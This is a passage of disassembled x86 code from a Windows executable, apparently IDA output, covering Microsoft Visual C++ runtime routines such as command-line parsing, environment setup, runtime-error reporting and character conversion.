					; sub_42B05D+BFj ...
		push	dword ptr [esi+58h]
		push	8
		call	ebx
		pop	ecx
		mov	[esi+58h], edi
		pop	ecx
		pop	edi
		jmp	short loc_42B183
; ---------------------------------------------------------------------------


loc_42B17B:				; CODE XREF: sub_42B05D+5Cj
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_42B183:				; CODE XREF: sub_42B05D+11Cj
		mov	eax, [ebp+var_4]
		mov	[esi+54h], eax


loc_42B189:				; CODE XREF: sub_42B05D+44j
		or	eax, 0FFFFFFFFh
		jmp	short loc_42B197
; ---------------------------------------------------------------------------


loc_42B18E:				; CODE XREF: sub_42B05D+1Cj
					; sub_42B05D+2Aj
		push	[ebp+arg_4]
		call	dword_42F190	; UnhandledExceptionFilter


loc_42B197:				; CODE XREF: sub_42B05D+3Cj
					; sub_42B05D+12Fj
		pop	esi
		pop	ebx
		leave
		retn
sub_42B05D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42B19B	proc near		; CODE XREF: sub_42B05D+13p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	ecx, dword_44BF34
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	[edx], esi
		push	edi
		mov	eax, edx
		jz	short loc_42B1C2
		lea	edi, [ecx+ecx*2]
		lea	edi, [edx+edi*4]


loc_42B1B7:				; CODE XREF: sub_42B19B+25j
		add	eax, 0Ch
		cmp	eax, edi
		jnb	short loc_42B1C2
		cmp	[eax], esi
		jnz	short loc_42B1B7


loc_42B1C2:				; CODE XREF: sub_42B19B+14j
					; sub_42B19B+21j
		lea	ecx, [ecx+ecx*2]
		lea	ecx, [edx+ecx*4]
		cmp	eax, ecx
		jnb	short loc_42B1D0
		cmp	[eax], esi
		jz	short loc_42B1D2


loc_42B1D0:				; CODE XREF: sub_42B19B+2Fj
		xor	eax, eax


loc_42B1D2:				; CODE XREF: sub_42B19B+33j
		pop	edi
		pop	esi
		retn
sub_42B19B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42B1D5	proc near		; CODE XREF: .text:00424F7Ap
		cmp	dword_631994, 0
		jnz	short loc_42B1E3
		call	sub_42AD36


loc_42B1E3:				; CODE XREF: sub_42B1D5+7j
		push	esi
		mov	esi, dword_631AE4
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_42B215


loc_42B1F0:				; CODE XREF: sub_42B1D5+33j
					; sub_42B1D5+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_42B20D
		test	al, al
		jz	short loc_42B20D
		movzx	eax, al
		push	eax
		call	sub_42D60C
		test	eax, eax
		pop	ecx
		jz	short loc_42B1F0
		inc	esi
		jmp	short loc_42B1F0
; ---------------------------------------------------------------------------


loc_42B20D:				; CODE XREF: sub_42B1D5+21j
					; sub_42B1D5+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_42B21F


loc_42B212:				; CODE XREF: sub_42B1D5+52j
		inc	esi
		jmp	short loc_42B21F
; ---------------------------------------------------------------------------


loc_42B215:				; CODE XREF: sub_42B1D5+19j
		cmp	al, 20h
		jbe	short loc_42B21F


loc_42B219:				; CODE XREF: sub_42B1D5+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_42B219


loc_42B21F:				; CODE XREF: sub_42B1D5+3Bj
					; sub_42B1D5+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_42B229
		cmp	al, 20h
		jbe	short loc_42B212


loc_42B229:				; CODE XREF: sub_42B1D5+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_42B1D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_42B22D	proc near		; CODE XREF: .text:00424F63p
		push	ebx
		xor	ebx, ebx
		cmp	dword_631994, ebx
		push	esi
		push	edi
		jnz	short loc_42B23F
		call	sub_42AD36


loc_42B23F:				; CODE XREF: sub_42B22D+Bj
		mov	esi, dword_6313EC
		xor	edi, edi


loc_42B247:				; CODE XREF: sub_42B22D+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_42B25F
		cmp	al, 3Dh
		jz	short loc_42B252
		inc	edi


loc_42B252:				; CODE XREF: sub_42B22D+22j
		push	esi
		call	sub_422120
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_42B247
; ---------------------------------------------------------------------------


loc_42B25F:				; CODE XREF: sub_42B22D+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_422F79
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_631488, esi
		jnz	short loc_42B281
		push	9
		call	sub_424FCB
		pop	ecx


loc_42B281:				; CODE XREF: sub_42B22D+4Aj
		mov	edi, dword_6313EC
		cmp	[edi], bl
		jz	short loc_42B2C4
		push	ebp


loc_42B28C:				; CODE XREF: sub_42B22D+94j
		push	edi
		call	sub_422120
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_42B2BD
		push	ebp
		call	sub_422F79
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_42B2B0
		push	9
		call	sub_424FCB
		pop	ecx


loc_42B2B0:				; CODE XREF: sub_42B22D+79j
		push	edi
		push	dword ptr [esi]
		call	sub_423260
		pop	ecx
		add	esi, 4
		pop	ecx


loc_42B2BD:				; CODE XREF: sub_42B22D+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_42B28C
		pop	ebp


loc_42B2C4:				; CODE XREF: sub_42B22D+5Cj
		push	dword_6313EC
		call	sub_4230B3
		pop	ecx
		mov	dword_6313EC, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_631990, 1
		pop	ebx
		retn
sub_42B22D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B2E6	proc near		; CODE XREF: .text:00424F5Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_631994, ebx
		push	esi
		push	edi
		jnz	short loc_42B2FD
		call	sub_42AD36


loc_42B2FD:				; CODE XREF: sub_42B2E6+10j
		mov	esi, offset dword_6314EC
		push	104h
		push	esi
		push	ebx
		call	dword_42F154	; GetModuleFileNameA
		mov	eax, dword_631AE4
		mov	dword_631498, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_42B322
		mov	edi, eax


loc_42B322:				; CODE XREF: sub_42B2E6+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42B37F
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_422F79
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_42B352
		push	8
		call	sub_424FCB
		pop	ecx


loc_42B352:				; CODE XREF: sub_42B2E6+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42B37F
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	dword_631480, esi
		pop	edi
		pop	esi
		mov	dword_63147C, eax
		pop	ebx
		leave
		retn
sub_42B2E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B37F	proc near		; CODE XREF: sub_42B2E6+47p
					; sub_42B2E6+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_42B3A9
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42B3A9:				; CODE XREF: sub_42B37F+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42B3F2


loc_42B3AE:				; CODE XREF: sub_42B37F+58j
					; sub_42B37F+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42B3E0
		test	dl, dl
		jz	short loc_42B3E0
		movzx	edx, dl
		test	byte_631881[edx], 4
		jz	short loc_42B3D3
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42B3D3
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_42B3D3:				; CODE XREF: sub_42B37F+46j
					; sub_42B37F+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42B3AE
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42B3AE
; ---------------------------------------------------------------------------


loc_42B3E0:				; CODE XREF: sub_42B37F+36j
					; sub_42B37F+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42B3EA
		and	byte ptr [esi],	0
		inc	esi


loc_42B3EA:				; CODE XREF: sub_42B37F+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42B435
		inc	eax
		jmp	short loc_42B435
; ---------------------------------------------------------------------------


loc_42B3F2:				; CODE XREF: sub_42B37F+2Dj
					; sub_42B37F+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42B3FD
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_42B3FD:				; CODE XREF: sub_42B37F+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_631881[ebx], 4
		jz	short loc_42B418
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42B417
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_42B417:				; CODE XREF: sub_42B37F+91j
		inc	eax


loc_42B418:				; CODE XREF: sub_42B37F+8Bj
		cmp	dl, 20h
		jz	short loc_42B426
		test	dl, dl
		jz	short loc_42B42A
		cmp	dl, 9
		jnz	short loc_42B3F2


loc_42B426:				; CODE XREF: sub_42B37F+9Cj
		test	dl, dl
		jnz	short loc_42B42D


loc_42B42A:				; CODE XREF: sub_42B37F+A0j
		dec	eax
		jmp	short loc_42B435
; ---------------------------------------------------------------------------


loc_42B42D:				; CODE XREF: sub_42B37F+A9j
		test	esi, esi
		jz	short loc_42B435
		and	byte ptr [esi-1], 0


loc_42B435:				; CODE XREF: sub_42B37F+6Ej
					; sub_42B37F+71j ...
		and	[ebp+arg_10], 0


loc_42B439:				; CODE XREF: sub_42B37F+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_42B522


loc_42B442:				; CODE XREF: sub_42B37F+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_42B44E
		cmp	dl, 9
		jnz	short loc_42B451


loc_42B44E:				; CODE XREF: sub_42B37F+C8j
		inc	eax
		jmp	short loc_42B442
; ---------------------------------------------------------------------------


loc_42B451:				; CODE XREF: sub_42B37F+CDj
		cmp	byte ptr [eax],	0
		jz	loc_42B522
		test	edi, edi
		jz	short loc_42B466
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42B466:				; CODE XREF: sub_42B37F+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_42B46B:				; CODE XREF: sub_42B37F+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_42B474:				; CODE XREF: sub_42B37F+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42B47D
		inc	eax
		inc	ebx
		jmp	short loc_42B474
; ---------------------------------------------------------------------------


loc_42B47D:				; CODE XREF: sub_42B37F+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42B4AE
		test	bl, 1
		jnz	short loc_42B4AC
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_42B49B
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_42B49B
		mov	eax, edx
		jmp	short loc_42B49E
; ---------------------------------------------------------------------------


loc_42B49B:				; CODE XREF: sub_42B37F+10Dj
					; sub_42B37F+116j
		mov	[ebp+arg_0], edi


loc_42B49E:				; CODE XREF: sub_42B37F+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_42B4AC:				; CODE XREF: sub_42B37F+106j
		shr	ebx, 1


loc_42B4AE:				; CODE XREF: sub_42B37F+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_42B4C3
		inc	ebx


loc_42B4B6:				; CODE XREF: sub_42B37F+142j
		test	esi, esi
		jz	short loc_42B4BE
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_42B4BE:				; CODE XREF: sub_42B37F+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_42B4B6


loc_42B4C3:				; CODE XREF: sub_42B37F+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_42B513
		cmp	[ebp+arg_10], 0
		jnz	short loc_42B4D9
		cmp	dl, 20h
		jz	short loc_42B513
		cmp	dl, 9
		jz	short loc_42B513


loc_42B4D9:				; CODE XREF: sub_42B37F+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_42B50D
		test	esi, esi
		jz	short loc_42B4FC
		movzx	ebx, dl
		test	byte_631881[ebx], 4
		jz	short loc_42B4F5
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_42B4F5:				; CODE XREF: sub_42B37F+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42B50B
; ---------------------------------------------------------------------------


loc_42B4FC:				; CODE XREF: sub_42B37F+162j
		movzx	edx, dl
		test	byte_631881[edx], 4
		jz	short loc_42B50B
		inc	eax
		inc	dword ptr [ecx]


loc_42B50B:				; CODE XREF: sub_42B37F+17Bj
					; sub_42B37F+187j
		inc	dword ptr [ecx]


loc_42B50D:				; CODE XREF: sub_42B37F+15Ej
		inc	eax
		jmp	loc_42B46B
; ---------------------------------------------------------------------------


loc_42B513:				; CODE XREF: sub_42B37F+148j
					; sub_42B37F+153j ...
		test	esi, esi
		jz	short loc_42B51B
		and	byte ptr [esi],	0
		inc	esi


loc_42B51B:				; CODE XREF: sub_42B37F+196j
		inc	dword ptr [ecx]
		jmp	loc_42B439
; ---------------------------------------------------------------------------


loc_42B522:				; CODE XREF: sub_42B37F+BDj
					; sub_42B37F+D5j
		test	edi, edi
		jz	short loc_42B529
		and	dword ptr [edi], 0


loc_42B529:				; CODE XREF: sub_42B37F+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42B37F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42B533	proc near		; CODE XREF: .text:00424F54p
					; sub_42CCB3+8Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_6315F0
		push	ebx
		push	ebp
		mov	ebp, dword_42F180
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42B581
		call	ebp ; dword_42F180
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_42B562
		mov	dword_6315F0, 1
		jmp	short loc_42B58A
; ---------------------------------------------------------------------------


loc_42B562:				; CODE XREF: sub_42B533+21j
		call	dword_42F184	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_42B65C
		mov	dword_6315F0, 2
		jmp	loc_42B610
; ---------------------------------------------------------------------------


loc_42B581:				; CODE XREF: sub_42B533+19j
		cmp	eax, 1
		jnz	loc_42B60B


loc_42B58A:				; CODE XREF: sub_42B533+2Dj
		cmp	esi, ebx
		jnz	short loc_42B59A
		call	ebp ; dword_42F180
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_42B65C


loc_42B59A:				; CODE XREF: sub_42B533+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42B5AF


loc_42B5A1:				; CODE XREF: sub_42B533+73j
					; sub_42B533+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42B5A1
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42B5A1


loc_42B5AF:				; CODE XREF: sub_42B533+6Cj
		sub	eax, esi
		mov	edi, dword_42F0A4
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi ; dword_42F0A4
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42B600
		push	ebp
		call	sub_422F79
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_42B600
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi ; dword_42F0A4
		test	eax, eax
		jnz	short loc_42B5FC
		push	[esp+18h+var_8]
		call	sub_4230B3
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_42B5FC:				; CODE XREF: sub_42B533+B9j
		mov	ebx, [esp+18h+var_8]


loc_42B600:				; CODE XREF: sub_42B533+99j
					; sub_42B533+A8j
		push	esi
		call	dword_42F188	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_42B65E
; ---------------------------------------------------------------------------


loc_42B60B:				; CODE XREF: sub_42B533+51j
		cmp	eax, 2
		jnz	short loc_42B65C


loc_42B610:				; CODE XREF: sub_42B533+49j
		cmp	edi, ebx
		jnz	short loc_42B620
		call	dword_42F184	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_42B65C


loc_42B620:				; CODE XREF: sub_42B533+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_42B630


loc_42B626:				; CODE XREF: sub_42B533+F6j
					; sub_42B533+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42B626
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42B626


loc_42B630:				; CODE XREF: sub_42B533+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_422F79
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_42B646
		xor	esi, esi
		jmp	short loc_42B651
; ---------------------------------------------------------------------------


loc_42B646:				; CODE XREF: sub_42B533+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_4223F0
		add	esp, 0Ch


loc_42B651:				; CODE XREF: sub_42B533+111j
		push	edi
		call	dword_42F18C	; FreeEnvironmentStringsA
		mov	eax, esi
		jmp	short loc_42B65E
; ---------------------------------------------------------------------------


loc_42B65C:				; CODE XREF: sub_42B533+39j
					; sub_42B533+61j ...
		xor	eax, eax


loc_42B65E:				; CODE XREF: sub_42B533+D6j
					; sub_42B533+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_42B533	endp


; =============== S U B	R O U T	I N E =======================================



sub_42B665	proc near		; CODE XREF: sub_424FCB+9p
					; sub_424FF0+9p
		mov	eax, dword_6313F4
		cmp	eax, 1
		jz	short loc_42B67C
		test	eax, eax
		jnz	short locret_42B69D
		cmp	dword_4496B4, 1
		jnz	short locret_42B69D


loc_42B67C:				; CODE XREF: sub_42B665+8j
		push	0FCh
		call	sub_42B69E
		mov	eax, dword_6315F4
		pop	ecx
		test	eax, eax
		jz	short loc_42B692
		call	eax ; dword_6315F4


loc_42B692:				; CODE XREF: sub_42B665+29j
		push	0FFh
		call	sub_42B69E
		pop	ecx

locret_42B69D:				; CODE XREF: sub_42B665+Cj
					; sub_42B665+15j
		retn
sub_42B665	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B69E	proc near		; CODE XREF: sub_424FCB+12p
					; sub_424FF0+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_44BF38


loc_42B6B1:				; CODE XREF: sub_42B69E+20j
		cmp	edx, [eax]
		jz	short loc_42B6C0
		add	eax, 8
		inc	ecx
		cmp	eax, offset dword_44BFC8
		jl	short loc_42B6B1


loc_42B6C0:				; CODE XREF: sub_42B69E+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_44BF38[esi]
		jnz	loc_42B7EE
		mov	eax, dword_6313F4
		cmp	eax, 1
		jz	loc_42B7C8
		test	eax, eax
		jnz	short loc_42B6F1
		cmp	dword_4496B4, 1
		jz	loc_42B7C8


loc_42B6F1:				; CODE XREF: sub_42B69E+44j
		cmp	edx, 0FCh
		jz	loc_42B7EE
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	dword_42F154	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_42B728
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_423260
		pop	ecx
		pop	ecx


loc_42B728:				; CODE XREF: sub_42B69E+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_422120
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_42B76B
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_422120
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_4222F0
		add	esp, 10h


loc_42B76B:				; CODE XREF: sub_42B69E+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_423260
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_423270
		lea	eax, [ebp+var_A0]
		push	offset asc_42F9A4 ; "\n\n"
		push	eax
		call	sub_423270
		push	off_44BF3C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_423270
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_42D64E
		add	esp, 2Ch
		pop	edi
		jmp	short loc_42B7EE
; ---------------------------------------------------------------------------


loc_42B7C8:				; CODE XREF: sub_42B69E+3Cj
					; sub_42B69E+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_44BF3C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_422120
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	dword_42F1D4	; GetStdHandle
		push	eax
		call	dword_42F07C	; WriteFile


loc_42B7EE:				; CODE XREF: sub_42B69E+2Ej
					; sub_42B69E+59j ...
		pop	esi
		leave
		retn
sub_42B69E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42B7F1	proc near		; CODE XREF: sub_425014+6Cp
					; sub_426826+32p ...

arg_0		= dword	ptr  4

		inc	dword_6313E8
		push	1000h
		call	sub_422F79
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_42B81A
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_42B82B
; ---------------------------------------------------------------------------


loc_42B81A:				; CODE XREF: sub_42B7F1+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_42B82B:				; CODE XREF: sub_42B7F1+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_42B7F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_42B835	proc near		; CODE XREF: sub_425014+61p
					; sub_42A86B+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_631AE0
		jb	short loc_42B844
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42B844:				; CODE XREF: sub_42B835+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		lea	eax, [eax+eax*8]
		mov	ecx, dword_6319E0[ecx*4]
		mov	al, [ecx+eax*4+4]
		and	eax, 40h
		retn
sub_42B835	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B85E	proc near		; CODE XREF: sub_42512C+2D4p
					; sub_42512C+6B3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, offset dword_63198C
		push	edi
		push	esi
		call	dword_42F200	; InterlockedIncrement
		mov	edi, dword_42F1FC
		xor	ebx, ebx
		cmp	dword_631988, ebx
		jz	short loc_42B88E
		push	esi
		call	edi ; dword_42F1FC
		push	13h
		call	sub_428436
		pop	ecx
		push	1
		pop	ebx


loc_42B88E:				; CODE XREF: sub_42B85E+20j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42B8B7
		pop	ecx
		mov	[ebp+arg_4], eax
		test	ebx, ebx
		pop	ecx
		jz	short loc_42B8AC
		push	13h
		call	sub_428497
		pop	ecx
		jmp	short loc_42B8AF
; ---------------------------------------------------------------------------


loc_42B8AC:				; CODE XREF: sub_42B85E+42j
		push	esi
		call	edi ; dword_42F1FC


loc_42B8AF:				; CODE XREF: sub_42B85E+4Cj
		mov	eax, [ebp+arg_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42B85E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B8B7	proc near		; CODE XREF: sub_42B85E+36p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_42B8C3
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42B8C3:				; CODE XREF: sub_42B8B7+8j
		cmp	dword_6314C8, 0
		jnz	short loc_42B8DE
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_42B910
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42B8DE:				; CODE XREF: sub_42B8B7+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_449A44
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_6314D8
		call	dword_42F0A4	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_42B910
		cmp	[ebp+arg_0], 0
		jz	short loc_42B91E


loc_42B910:				; CODE XREF: sub_42B8B7+1Ej
					; sub_42B8B7+51j
		call	sub_426528
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh


loc_42B91E:				; CODE XREF: sub_42B8B7+57j
		pop	ebp
		retn
sub_42B8B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B920	proc near		; CODE XREF: sub_425A04+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, offset dword_63198C
		push	edi
		push	esi
		call	dword_42F200	; InterlockedIncrement
		mov	edi, dword_42F1FC
		xor	ebx, ebx
		cmp	dword_631988, ebx
		jz	short loc_42B950
		push	esi
		call	edi ; dword_42F1FC
		push	13h
		call	sub_428436
		pop	ecx
		push	1
		pop	ebx


loc_42B950:				; CODE XREF: sub_42B920+20j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42B97D
		add	esp, 0Ch
		mov	[ebp+arg_8], eax
		test	ebx, ebx
		jz	short loc_42B972
		push	13h
		call	sub_428497
		pop	ecx
		jmp	short loc_42B975
; ---------------------------------------------------------------------------


loc_42B972:				; CODE XREF: sub_42B920+46j
		push	esi
		call	edi ; dword_42F1FC


loc_42B975:				; CODE XREF: sub_42B920+50j
		mov	eax, [ebp+arg_8]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42B920	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B97D	proc near		; CODE XREF: sub_42B920+39p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_42B9A0
		cmp	[ebp+arg_8], ebx
		jz	short loc_42B9A0
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_42B9A6
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_42B9A0
		mov	[eax], bx


loc_42B9A0:				; CODE XREF: sub_42B97D+Cj
					; sub_42B97D+11j ...
		xor	eax, eax


loc_42B9A2:				; CODE XREF: sub_42B97D+42j
					; sub_42B97D+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42B9A6:				; CODE XREF: sub_42B97D+17j
		cmp	dword_6314C8, ebx
		jnz	short loc_42B9C1
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_42B9BC
		movzx	ax, al
		mov	[ecx], ax


